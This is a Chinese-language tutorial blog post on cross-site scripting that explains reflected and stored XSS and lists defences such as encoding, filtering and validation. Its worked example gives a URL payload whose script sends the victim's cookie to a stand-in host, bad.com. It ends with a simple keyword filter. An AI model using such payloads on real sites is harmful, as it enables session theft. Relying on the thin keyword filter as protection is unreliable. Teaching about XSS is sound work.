XSS 跨站脚本攻击

来源:互联网 发布:手机号码搜索软件 编辑:程序博客网 时间:2024/05/21 05:17


XSS 跨站脚本攻击


什么是XSS跨站脚本攻击?

主要是用了 src 这个可与跨站的特性

它指的是恶意攻击者往Web页面里插入恶意的html或脚本代码,当

用户浏览该页面时,嵌入Web里面的恶意代码会被执行,从而达到

攻击者的特殊目的。


分成两种:

    一种是:可信任链接骗人来点击,

    目的是劫持用户的cookie; 另一种是:该脚本已经

    通过此方法注入了DB,每次有人浏览正常的该网站

    链接都会执行该脚本,理论上JS能做的都可以做。

栗子:

1、网站A存在XSS漏洞,比如search.jsp页面:<%@ page language="java" import="java.util.*" pageEncoding="ISO-8859-1"%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN"><html><body>This is my JSP page. <% request.getParameter("keyword"); %></body></html>2、在受害者登录A网站后,攻击者构造了一个可信的URL发给受害者:http://a.com/search.jsp?keyword=<script>window.open("http://bad.com?cookie="+document.cookie)</script>3、受害者点击可信连接4、恶意代码把受害者的cookie发送到B网站,攻击者获取到受害者的用户身份 

如何防范?

1.输入/输出编码:比如直接将HTML标签最关键的字符:“<”,“ >”,

“ &”等编码转义: <,>,&

2. 过滤:将onclick onmouseover script style iframe等字符串

去掉,可根据业务需要保留

3. 校验: 对用户的输入的信息根据业务规则进行校验

XSS防范总结:

1.要对用户的输入的信息根据业务规则校验

2.对输入做校验,要充分验证数据的长度、字符、格式等

3.对输出做编码、转义或过滤,根据业务需求将要置于的HTML上下文中

(包括主体、属性、JS、 CSS或URL)对所有的不可信数据进行恰当的

转义 


给个前端过滤栗子

 /*****     *      * 防止XSS 注入     *      ****/    Jc.util.checkIllegalXssStrCheck = function(sqlstr){    //包含特殊字符返回true    var patrn = /javascript|jscript|vbscript/i;    if (patrn.test(sqlstr)) {     return true;      }    return false;    }    












0 0
原创粉丝点击